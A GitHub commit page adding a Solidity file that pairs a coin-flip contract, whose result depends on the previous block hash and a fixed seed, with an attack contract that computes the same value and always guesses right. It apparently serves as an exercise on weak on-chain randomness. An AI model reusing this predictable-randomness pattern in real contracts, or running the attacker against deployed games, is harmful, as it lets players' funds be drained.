-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
2a8932e
commit 06a7bfc
Showing
1 changed file
with
74 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,74 @@ | ||
//SPDX-License-Identifier: MIT | ||
|
||
pragma solidity ^0.8.13; | ||
|
||
contract coinFlip { | ||
|
||
uint public lastGame; | ||
bool public lastWin; | ||
uint public consecutiveWins; | ||
uint private seed = 262662626267829762592976282929727727; | ||
|
||
|
||
function getInfo() public view returns(uint, bytes32, uint){ | ||
|
||
uint blockNumber = block.number - 1; | ||
bytes32 hash = blockhash(blockNumber); | ||
uint semiRandomNumber = uint(hash); | ||
|
||
return (blockNumber,hash,semiRandomNumber); | ||
} | ||
|
||
function flip(bool guess) public returns(bool){ | ||
|
||
bool flipped; | ||
uint blockNumber = block.number - 1; | ||
bytes32 hash = blockhash(blockNumber); | ||
uint semiRandomNumber = uint(hash); | ||
|
||
require(lastGame != blockNumber, "you already played this round"); | ||
lastGame = blockNumber; | ||
|
||
if(semiRandomNumber/seed % 2 != 0){ | ||
flipped = true; | ||
}else{ | ||
flipped = false; | ||
} | ||
|
||
if(flipped == guess){ | ||
consecutiveWins += 1; | ||
lastWin = true; | ||
return true; | ||
}else{ | ||
consecutiveWins = 0; | ||
lastWin = false; | ||
return false; | ||
} | ||
} | ||
} | ||
|
||
|
||
contract attackCoinFlip { | ||
|
||
coinFlip public coinFlipContract; | ||
uint private seed = 262662626267829762592976282929727727; | ||
|
||
constructor(address addy){ | ||
coinFlipContract = coinFlip(addy); | ||
} | ||
|
||
function tryToWin() public { | ||
|
||
uint blockNumber = block.number - 1; | ||
bytes32 hash = blockhash(blockNumber); | ||
uint semiRandomNumber = uint(hash); | ||
|
||
if(semiRandomNumber/seed % 2 != 0){ | ||
coinFlipContract.flip(true); | ||
}else{ | ||
coinFlipContract.flip(false); | ||
} | ||
|
||
} | ||
|
||
} |